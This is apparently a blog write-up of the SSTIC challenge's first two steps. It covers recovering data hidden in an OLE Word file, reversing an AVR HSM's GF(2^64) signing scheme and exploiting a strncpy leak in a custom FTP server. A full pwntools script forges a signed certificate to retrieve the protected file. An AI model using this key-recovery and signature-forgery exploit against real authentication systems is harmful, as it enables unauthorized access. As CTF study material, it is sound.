The challenge

This year, like every year, I participated in the SSTIC challenge. It is a monolithic challenge (as opposed to a jeopardy challenge) where all the steps are contained in the first file you download. It is usually focusing on reverse engineering, cryptography and exploitation. The challenge is quite hard and only a few people finish it every year.

This year is no exception, only 9 persons were able to do so, the winner being the same as last year, Robert Xiao, who finished it in 9 days (the second one in 12 days, the third in 20). Spoiler alert: I fell short on the last step and did not manage to do it on time.

The challenge was composed of six steps and mainly focused on binary exploitation. I really encourage anyone interested in challenges to take a look at it (you can see the solutions for all the previous years, waiting impatiently for the next one to come).

This article is the first of a series. It focuses on the steps 1 and 2.

Step 1: The pie

Downloading the challenge file, you get a Word document. Obviously, your reflex is to see if there are macros or hidden things in it. Mine too. So, I used decalage2 oletools to check that. However, the document seems clean. My second idea was then to unzip the document and see what sort of data could be there. To my surprise, the total weight of all files is waaay lighter (missing around 5 MB on a file that's 6 MB) than the original one. So, something must be hidden in the file itself.

Where's my data?

So, .doc files are OLE2.0 files, meaning the Compound File Binary file format is used. Those types of files can be seen as mini file systems using FAT. The file is composed of a 512-byte header followed by sectors (here also 512-byte sectors). The header describes all the information necessary to parse the document.

To understand where the data could be hidden, I first read through the OLEfile source code while tweaking it to see if nothing was odd. After a while, I decided that the DIFAT (Double-Indirect FAT) sector would be a good candidate.

This sector contains a chain of other FAT sector indices. My thought was that, maybe, the document was modified to hide one of the chains so that legitimate tools (Zip, Word, OLEtools, etc.) would not find it. So I implemented a quick Rust script to “bruteforce” all the chains contained in the DIFAT.

use std::sync::{Arc, Mutex};
 
use miette::{IntoDiagnostic, Result};
use rayon::prelude::*;
 
const FREESECT: usize = 0xFFFFFFFF;
const ENDOFCHAIN: usize = 0xFFFFFFFE;
 
fn main() -> Result<()> {
   let content = std::fs::read("../original.doc").into_diagnostic()?;
   let difat = &content[0x4c..(0x4c + 109 * 4)];
 
   let mut fat = vec![];
   for entry in difat.chunks(4) {
       let offset = u32::from_le_bytes(entry.try_into().into_diagnostic()?) as usize;
       if offset != FREESECT {
           let offset = 512 * (offset as usize + 1);
           fat.extend_from_slice(&content[offset..offset + 512]);
       }
   }
 
   let mut fat_array = Vec::with_capacity(fat.len() / 4);
   for entry in fat.chunks(4) {
       let offset = u32::from_le_bytes(entry.try_into().into_diagnostic()?) as usize;
       fat_array.push(offset);
   }
 
   let hidden_stream: Arc<Mutex<Vec<usize>>> = Arc::new(Mutex::new(vec![]));
   // we go through all of the possible chains that could exist in the FAT array
   fat_array
       .par_iter()
       .enumerate()
       .for_each(|(idx, &idx_first_entry)| {
           if idx_first_entry != ENDOFCHAIN {
               let mut chain = vec![idx];
               let mut idx_next_entry = idx_first_entry as usize;
               while let Some(&e) = fat_array.get(idx_next_entry) {
                   if e == ENDOFCHAIN {
                       break;
                   }
 
                   chain.push(idx_next_entry);
                   idx_next_entry = e as usize;
               }
 
               {
                   if let Ok(mut data) = hidden_stream.lock() {
                       // we take the biggest chain in the FAT array
                       if chain.len() > data.len() {
                           *data = chain.clone();
                       }
                   }
               }
           }
       });
 
   let hidden_stream = hidden_stream.lock().unwrap();
 
   println!(
       "Biggest chain: {} ({} sectors)",
       hidden_stream.len() * 512,
       hidden_stream.len()
   );
 
   Ok(())
}
 

Running the script gave me a chain of 10.142 elements. If you multiply this by the sector size, you obtain 5192704 bytes. That's your missing data! Now, we just have to extract the data by reading the sectors.

   let mut output: Vec<u8> = vec![];
   for sect in hidden_stream.iter() {
       let offset = 512 * (sect + 1);
       let data = &content[offset..offset + 512];
 
       output.extend(data);
   }
 
   std::fs::write("out", output).into_diagnostic()?;

We now have a gzip compressed file. However, that file is invalid. If we try to decompress it, we'll have an error message. Looking quickly at it, we can see that the end is filled with a bunch of zeros (a little more than 9 sectors in fact).

The specification of the GZ format says that the last four bytes should be the length of our data uncompressed, and the four bytes before that, the checksum of the file. So we can strip all the zeros at the end, except one. A simple modification of the file using Python will do.

open("out.gz", "wb").write(open("out", "rb").read().strip(b'\x00') + b'\x00')

Now, we're left with a POSIX tar archive. This means that our original file was in fact a tar.gz. We can simply use tar to obtain all files and a nice release directory will appear. Looking quickly through the files, we spot the e4r7h.txt (earth.txt) file and obtain our first flag: SSTIC{47962828593d98d0d7392590529c4014}.

Step 2: Secure FTP server

Tour of the files

We have a few files here:

release
├── bzImage
├── chall.hex
├── e4r7h.txt
├── initramfs.img
├── Makefile
├── simavr.patch
└── start_vm.sh

Reading the flag file, we are given a lot of information. Trying to keep only what's essential, I can sum it up like so:

• the files can be run under qemu
• this emulates a complete Linux system
• the system contains a custom secure FTP server
• anon user has access only a few things
• there's a custom file system
• we have the IP address of the challenge

We know the initramfs.img and bzImage are to run the system inside the virtual machine. start_vm.sh seems pretty easy: it executes the command line with the good parameters set to run the VM.

The Makefile has two recipes: simavr and run. The first one downloads the simavr project, patches it and creates an executable. The second one runs one of the executables built (simduino.elf) with a few parameters, including the chall.hex. Viewing that file, we can recognize Intel Hex used to encode the firmware.

All this is good but we don't have much clue about what to do, what to look for and what's the next step. To find out, we can extract the files from the initramfs.img.

mkdir initramfs
cd initramfs
cp ../initramfs.cpio.gz .
gunzip ./initramfs.cpio.gz
cpio -idm < ./initramfs.cpio
rm initramfs.cpio

Executing those commands gives us the complete file system.

fs
├── bin
│   └── ...
├── devices
│   └── sdb
├── etc
│   └── ...
├── goodfs.ko
├── home
│   └── sstic
│       ├── info.txt
│       ├── secret.txt
│       ├── sensitive
│       │   └── m00n.txt
│       └── server
├── init
├── lib
│   └── x86_64-linux-gnu
│       └── ...
├── lib64
│   └── ld-linux-x86-64.so.2
└── root
   └── final_secret.txt

Looking at this, we can deduce a few important things:

• there's a root/final_secret.txt file, meaning the last step of the challenge is probably to become root on the server
• there's a goodfs.ko driver, probably the custom file system
• there's a server binary, probably the FTP.

Okay, so let's summarize what we know so far, before diving in:

• we will run a virtual machine that uses Linux
• this machine has a bunch of programs/services, but the most probable target for the next step is the FTP server
• an unknown device is run at the same time as the virtual machine, and we know the architecture will be AVR.

First steps with the FTP

Note: this won't be a full analysis of the FTP, it would be too long. I'll only talk about the interesting parts.

Looking quickly through the code, we note a few things:

• all the functions are executed through function pointers stored in a global struct
• there are three different kinds of authentication (anon, user, certificate)
• there's a function to list files in the current working directory
• another to download the secret.txt file if you have specific rights and a valid signature

From this, it seems obvious that the next step is to leak secret.txt file.

Looking at this, we can see that we will need to use a passive socket (PASV command) with a user having perms set to 2 to be able to retrieve the file.

Here we can see that we can only log in with two users: anon or anonymous and that this will only give us perms 1.

 loginCmd = (char *)b64decode();
 sign = strstr(loginCmd, "&sig=");
 perms = strstr(loginCmd, "perms=");
 user = strstr(loginCmd, "user=");
 if ( user && perms && sign && user <= sign && perms <= sign ) {
   lentosign = sign - loginCmd;
   strncpy(bufToSign, loginCmd, (int)sign - (int)loginCmd);
   // [...snip...]
         v21 = strstr(j, "sig=");
         if ( v21 )
           sig = strtoul(v21 + 4, 0LL, 10);
   // [...snip...]
   nqword = (lentosign % 8 != 0) + lentosign / 8;
   compSig = sign_data(bufToSign, nqword);
   if ( compSig == sig ) {
     if ( isNewUser ) {
       // [...snip...]
       p_cert = newCert();
       // [...snip...]
     }
     // [...snip...]
     p_cert->isAuth = 1;
     p_cert->perms = perm;
     v3 = p_cert;
     computeSigCertFn = auth_pointer(p_cert->computeSigCert, 0LL);
     v5 = computeSigCertFn(v3);
     p_cert->sig = v5;
     LOBYTE(v29->isAuthCert) = 1;
     v0 = v29;
     v29->responseStatus = "150 Ok\n";
   }
   // [...snip...]

This is the function that handles certificate authentication. In essence, the function takes a base64-encoded string that has to decode to something like user=u&perms=p&sig=s where the signature should be at the end of the string. Then, it computes the signature of user=u&perms=p and checks if it is equal to s. If it is, it simply copies all properties to the new user, including the perms!

Okay, now we know: we need to log in using a cert and perms=2. It seems the username can be anything. We just have to figure out how to compute a valid signature!

Looking at sign_data, it ultimately sends the data through a serial port. Looking at the setup functions, it checks if there's a HSM_DEVICE env var and then sets up the serial accordingly. So now, we know that the device started at the same time as the VM is in fact an HSM.

AVR geeks

The firmware is compiled for an ATmega328P. I used avr_ghidra_helpers to disassemble the file using Ghidra and obtain the name of a few functions (some are probably wrong, but who cares?). Then, I looked at what was the minimal code to do something on an arduino and tried to look for those patterns in the decompiled part of Ghidra. This helped me to find what I called the serialEventRun at 0x22a.

In this function, we can see something like:

switch (W) {
   case 0x1: {
       // ...
       break;
   }
   case 0x2: {
       // ...
       break;
   }
   case 0x3: {
       // ...
       break;
   }
   case 0x4: {
       // ...
       break;
   }
}

This could be the place where commands are handled. Back in the code of the server, we can see three different types of commands:

1. to sign a pointer
2. to authenticate a pointer
3. to sign 64b of data

Yes, you read that well, there's pointer signing everywhere. But we'll come back to that later, when it matters.

If you remember, we were interested in this code sign_data(bufToSign, nqword). Essentially, sign_data simply loops through all the data by chunks of 8 bytes and signs it using the command 3. So now, we know what we have to reverse.

This part uses only three functions: two of them are called a lot outside the serialEventRun function. I named them read/write_usart. The last one must be where the magic happens.

Now, we have two possibilities: use the horrible decompiled code from Ghidra or use the assembly. I chose the third one.

AVR tracing

I'm lazy. This architecture is a bit weird for my brain. You can concatenate registers to make new ones etc., too hard for me to follow. So, I set out to patch the code of the emulator to trace the execution. Reading through the loop, I saw that everything was already there, I just had to figure out how to enable it for me.

   avr = avr_make_mcu_by_name(mmcu);
   avr->log = 4;
   avr->trace = 1;

Nothing too hard to do, even for me. Thus, I recompiled, started the VM, made a request to the FTP and … crash! Tried again, and again, but same results. Turns out, if the HSM is too slow to answer, the FTP crashes as it does not wait for its response. So I made a little utility using Rust to talk to the HSM directly.

use bpaf::*;
use miette::{IntoDiagnostic, Result};
use std::time::Duration;
 
#[derive(Clone, Debug)]
struct Opts {
   port: String,
   command: u8,
   data: u64,
   block: u64,
}
 
fn opts() -> Opts {
   let port = short('p')
       .long("port")
       .help("Number of the serial port to use. Default is 1 for /dev/pts/1")
       .argument("PORT")
       .fallback("9".to_string())
       .map(|v| format!("{}{}", "/dev/pts/", v));
 
   let command = short('c')
       .long("command")
       .help("Command to send to the HSM. Default is 3 for 'sign_u64'")
       .argument("COMMAND")
       .from_str()
       .fallback(3);
 
   let data = short('d')
       .long("data")
       .help("Data to encrypt as hex u64")
       .argument("DATA")
       .map(|v| {
           if v.starts_with("0x") {
               let u = u64::from_str_radix(&v[2..], 16).expect("Not valid hex string");
               u.to_string()
           } else {
               let u = u64::from_str_radix(&v, 16).expect("Not valid hex string");
               u.to_string()
           }
       })
       .from_str();
 
   let block = short('b')
       .long("block")
       .help("Previous encrypted block value as hex u64. Default is 0")
       .argument("BLOCK")
       .map(|v| {
           if v.starts_with("0x") {
               let u = u64::from_str_radix(&v[2..], 16).expect("Not valid hex string");
               u.to_string()
           } else {
               let u = u64::from_str_radix(&v, 16).expect("Not valid hex string");
               u.to_string()
           }
       })
       .from_str()
       .fallback(0);
 
   let parser = construct!(Opts {
       port,
       command,
       data,
       block
   });
 
   Info::default()
       .descr("Send serial commands to the HSM")
       .for_parser(parser)
       .run()
}
 
fn main() -> Result<()> {
   let opts = opts();
 
   let mut port = serialport::new(opts.port, 9600)
       .timeout(Duration::from_secs(100_000))
       .open()
       .into_diagnostic()?;
 
   port.write(&[opts.command]).into_diagnostic()?;
   port.write(&opts.data.to_le_bytes()).into_diagnostic()?;
   port.write(&opts.block.to_le_bytes()).into_diagnostic()?;
 
   let mut buf = [0u8; 8];
   port.read_exact(&mut buf).into_diagnostic()?;
   let d = u64::from_le_bytes(buf);
   println!("{:064b} {:016x}", d, d);
 
   Ok(())
}

Nothing too fancy: you give it a port, a command number, the data, and the last encrypted block, and it displays the result. And here is an extract from the trace generated:

avr_run_one: 0542: eor r3[00], ZL[41] = 41
0542:                                   SREG = .......I
                                      ->> r3=41
avr_run_one: 0544: eor r4[00], ZH[41] = 41
0544:                                   SREG = .......I
                                      ->> r4=41
avr_run_one: 0546: eor r5[00], XH[41] = 41
0546:                                   SREG = .......I
                                      ->> r5=41
avr_run_one: 0548: ld r18, (Y+5[0898])=[00]
                                      ->> r18=41
avr_run_one: 054a: eor r6[00], r18[41] = 41
054a:                                   SREG = .......I
                                      ->> r6=41
avr_run_one: 054c: ld r24, (Y+1[0894])=[00]
                                      ->> r24=00
avr_run_one: 054e: ld r25, (Y+6[0899])=[41]
                                      ->> r25=41
avr_run_one: 0550: eor r24[00], r25[41] = 41
0550:                                   SREG = .......I
                                      ->> r24=41
avr_run_one: 0552: st (Y+1[0894]), r24[41]
avr_run_one: 0554: ld r18, (Y+2[0895])=[00]
                                      ->> r18=00
avr_run_one: 0556: eor r18[00], r9[41] = 41
0556:                                   SREG = .......I

I will spare you the analysis of the trace but in the end, this gave me this algorithm:

def rol_array(values):
   c = 0
   vs = []
   for v in values:
       t = (v * 2 + c) & 0xFF
       # print(hex(t), hex(v), c)
       if v & 0x80:
           c = 1
       else:
           c = 0
       vs.append(t)
   return vs
 
 
def xor(a, b):
   return [x ^ y for x, y in zip(a, b)]
 
 
def hash(data):
   k1 = 123
   base = [0] * 8
   # 04fe: movw
   while True:
       # print(hex(k1))
       # vérifiable avec data = 0x100
       # 050e: call
       if sum(data) == 0:
           break
       # 0524: brne
       if k1 == 0:
           break
 
       # 0540: breq
       if k1 & 1:
           # print("xor", [hex(x) for x in data], [hex(x) for x in base])
           for i in range(8):
               base[i] = (base[i] ^ data[i]) & 0xFF
           # print("xored", [hex(x) for x in data], [hex(x) for x in base])
 
       if data[0] & 0x80:
           # print("if", [hex(x) for x in data])
           # what is in those registers? is it really original data? see 0x2b3
           data = rol_array(data[::-1])
           # 0584: eor
           data[0] = (data[0] ^ 0xB7) & 0xFF
           data[1] = (data[1] ^ 0x3C) & 0xFF
           data[2] = (data[2] ^ 0xF4) & 0xFF
           data[3] = (data[3] ^ 0x47) & 0xFF
           data[4] = (data[4] ^ 0x02) & 0xFF
           # print("fi", [hex(x) for x in data])
           data = data[::-1]
       else:
           data = rol_array(data[::-1])[::-1]
           # print("else", [hex(x) for x in data])
 
       # print("end", [hex(x) for x in data])
       # print("")
       k1 >>= 1
   return base

So, this won't be obvious for some people but two years ago, doing the step 2 (again) of the SSTIC, I stared DESPERATELY at that piece of code (written differently) for 3 weeks. Seeing if data[0] & 0x80: and k1 >>= 1 and the xor with 0x0247F43CB7 made me realize that this was a multiplication in a Galois field GF(2^64) with the polynome 0x0247F43CB7.

So, I took my reduced code from two years ago, copy/pasted it, changed the polynome and voilà!

def gmul(lr, k):
   out = 0
   while k != 0:
       if k & 1:
           out ^= lr & 0xFFFFFFFFFFFFFFFF
       t = (lr << 1) & 0xFFFFFFFFFFFFFFFF
       if lr & 0x8000000000000000:
           lr = (t ^ 0x0247F43CB7) & 0xFFFFFFFFFFFFFFFF
       else:
           lr = t
       k >>= 1
   return out
 
 
def sign_data(data, prev, k1, k2):
   for i in range(0, len(data), 8):
       d = int.from_bytes(data[i : i + 8], "little")
       d = gmul(d, k1)
       d = d ^ prev
       d = gmul(d, k1)
       d = d ^ k2
       prev = gmul(d, k1)
   return prev

Are we done yet? Not quite! If you take a close look at the algorithm, we need k1 and k2. Those are passed to the device using environment variables and a patch to the simavr project. It means that the values we have are not the ones on the server! So now, we have to find a way to obtain those values!

Math bad for ape

Everybody who knows me knows how bad I am at math, but what I know from previous years is that xor is simply an addition in the ring. For the signature of 8 bytes of data, we have:

Where M0/1 are the messages and C0/1 are the signatures. Now, if you know basic math, you will see two equations where you can simply subtract one from another to express C0 and C1. Thing is, I don't know basic math. It took me a good 6 hours on a bright, sunny day to figure it out.

(1)

We replace k2 terms in (2) and we have:

Now, we can use SageMath to do all the operations in the ring and solve the equations.

K.<a> = GF(2^64, name='a', modulus=x^64+x^2+x+1+x^4+x^5+x^7+x^10+x^11+x^12+x^13+x^18+x^20+x^21+x^22+x^23+x^24+x^25+x^26+x^30+x^33)
M0 = K.fetch_int(0x4141414141414141)
C0 = K.fetch_int(0x333046275f4e51b3)
M1 = K.fetch_int(0x4242424242424242)
C1 = K.fetch_int(0x888bebb9df8e62e4)
k1_3 = (-C0 + C1) / (M1 - M0)
k1 = k1_3.nth_root(3, all=True)
for k in k1:
   print(hex(k1.integer_representation()))
k2 = -(M0 * k1^ 2) + C0 / k1
print(hex(k2.integer_representation()))

Great, NOW, we have everything… or not! We need to find two pairs of clear text/signed data. Back to reversing the FTP, as the HSM won't help us there.

FTP plumber

To put it simply, we need a way to obtain the signature for two different messages. If you remember from earlier, the user authentication does not allow you to use anything else than anon or anonymous. If you're accustomed to CTFs, you'll think this is not here for nothing.

Just before checking the name of the user, this code is executed: strncpy(v13->name, cmd->args, 0x10). They are using strncpy, which is secure. But if you read the man, you'll see that the count parameter includes the terminating null-byte. So what if we use a name that's exactly 16-byte long? We leeeaaak! Great, but how do we actually leak that signature?

The FTP has three interesting features:

• you can enable the “debug” mode (even with anonymous), which will create a ftp.log file in cwd
• you can list all files
• you can retrieve files

When debug mode is enabled, the following code is executed in parseCommandFTPServer: dprintf(v10->fdLog, "User %s : ", v8);. Coooool! That's exactly what we needed.

Thing is, we're still missing a piece of the puzzle. We require a way to leak the signature of both anon and anonymous but those names are not 16-byte long. So how do we handle this?

Another interesting fact is that, when authenticating as a user, two things can happen:

• if you were already authenticated, the previous User structure is used
• if your authentication fails, no value is destroyed in that structure

So, what if:

• we authenticate using anon/ymous (we now have valid signatures)
• we enable debug
• we make a failed auth with AAAAAAAAAAAAAAAA ; this will leak the signature in the log
• we authenticate again with a valid user
• we retrieve ftp.log
• get the signature
• execute the SageMath script
• extract all keys
• create a certificate auth request with user=aaa and perms=2 and compute a valid signature for all keys
• retrieve the secret.txt file
• profit!

SSTIC{717ff143aa035b4da1cdb417b7f003f3}

Yay for the second step!

Stay tuned for the next articles.

As a bonus, here is my ugly script to solve the challenge:

from pwn import *
from base64 import b64encode as b64e


def gmul(lr, k):
    out = 0
    while k != 0:
        if k & 1:
            out ^= lr & 0xFFFFFFFFFFFFFFFF
        t = (lr << 1) & 0xFFFFFFFFFFFFFFFF
        if lr & 0x8000000000000000:
            lr = (t ^ 0x0247F43CB7) & 0xFFFFFFFFFFFFFFFF
        else:
            lr = t
        k >>= 1
    return out


def encrypt(data, prev, k1, k2):
    for i in range(0, len(data), 8):
        d = int.from_bytes(data[i : i + 8], "little")
        d = gmul(d, k1)
        d = d ^ prev
        d = gmul(d, k1)
        d = d ^ k2
        prev = gmul(d, k1)
    return prev


def pasv(addr, r):
    r.sendline(b"PASV")
    a = r.recv().splitlines()[0].split(b",")
    r2 = remote(addr, int(a[-1][:-1]) + (int(a[-2]) << 8))
    return r2


def user_auth(r, u):
    r.sendline(b"USER %s" % u)
    r.recv()
    r.sendline(b"PASS anon")
    r.recv()


def cert_auth(r, user, perms, sig):
    enc = b64e(b"user=%s&perms=%d&sig=%d" % (user, perms, sig))
    r.sendline(b"CERT %b" % enc)
    res = r.recv()
    print(res)
    if b"150" in res:
        return True
    return False


def binmode(r):
    r.sendline(b"TYPE I")
    r.recv()


def list_files(addr, r):
    r2 = pasv(addr, r)
    r.sendline(b"LIST sensitive")
    r.recv()
    r2.recvall()
    r.recv()
    r2.close()


def retr_file(addr, r, f):
    binmode(r)
    r2 = pasv(addr, r)
    r.sendline(b"RETR %b" % f)
    r.recv()
    f = r2.recvall()
    print(f)
    r.recv()
    r2.close()
    return f


# on wrong user auth, values like the signature
# from the previously auth'd user are not deleted
# we can use this to leak that signature because
# of how strncpy is used (no null-byte added in)
# last char
def leak_sig(addr, r, u):
    user_auth(r, u)
    r.sendline(b"DBG")
    r.recv()
    user_auth(r, b"A" * 0x10)
    user_auth(r, u)
    list_files(addr, r)
    f = retr_file(addr, r, b"ftp.log")
    idx = f.find(b"User %s" % (b"A" * 0x10)) + 0x10 + 5
    sig = int.from_bytes(f[idx : idx + 8], "little")
    log.success("Sig user: 0x%016x", sig)
    log.success(
        "Sig computeSigUser: 0x%016x", int.from_bytes(f[idx + 8 : idx + 16], "little")
    )
    return sig


def do_sage(c0, c1):
    p = process("sage")
    print(1, p.recvuntil(b"sage: "))
    p.sendline(
        b"K.<a> = GF(2^64, name='a', modulus=x^64+x^2+x+1+x^4+x^5+x^7+x^10+x^11+x^12+x^13+x^18+x^20+x^21+x^22+x^23+x^24+x^25+x^26+x^30+x^33)"
    )
    print(2, p.recvuntil(b"sage: "))
    anon = int.from_bytes(b"\1anon", "little")
    p.sendline(b"M0 = K.fetch_int(%d)" % anon)
    print(3, p.recvuntil(b"sage: "))
    p.sendline(b"C0 = K.fetch_int(%d)" % c0)
    print(4, p.recvuntil(b"sage: "))
    anonymous = int.from_bytes(b"\1anonymo", "little")
    p.sendline(b"M1 = K.fetch_int(%d)" % anonymous)
    print(6, p.recvuntil(b"sage: "))
    p.sendline(b"C1 = K.fetch_int(%d)" % c1)
    print(7, p.recvuntil(b"sage: "))
    p.sendline(b"k1_3 = (-C0 + C1) / (M1 - M0)")
    print(8, p.recvuntil(b"sage: "))
    p.sendline(b"k1 = k1_3.nth_root(3, all=True)")
    print(9, p.recvuntil(b"sage: "))
    p.sendline(b"keys = []")
    print(10, p.recvuntil(b"sage: "))
    p.sendline(b"for k in k1:")
    print(11, p.recv())
    p.sendline(b"  k2 = -(M0 * k ** 2) + C0 / k")
    print(11, p.recv())
    p.sendline(
        b"  keys.append((k.integer_representation(), k2.integer_representation()))"
    )
    print(11, p.recv())
    p.sendline(b"")
    print(11, p.recvuntil(b"sage: "))
    p.sendline(b"print(keys)")
    res = p.recvline()
    keys = eval(res)
    print(keys)
    p.close()
    return keys


if True:
    addr = "localhost"
else:
    addr = "62.210.131.87"
r = remote(addr, 31337)
r.recv()
c0 = leak_sig(addr, r, b"anon")
c1 = leak_sig(addr, r, b"anonymous")
keys = do_sage(c0, c1)
for (k1, k2) in keys:
    sig = encrypt(b"user=aaa&perms=2", 0, k1, k2)
    if cert_auth(r, b"aaa", 2, sig):
        retr_file(addr, r, b"secret.txt")
        break
r.close()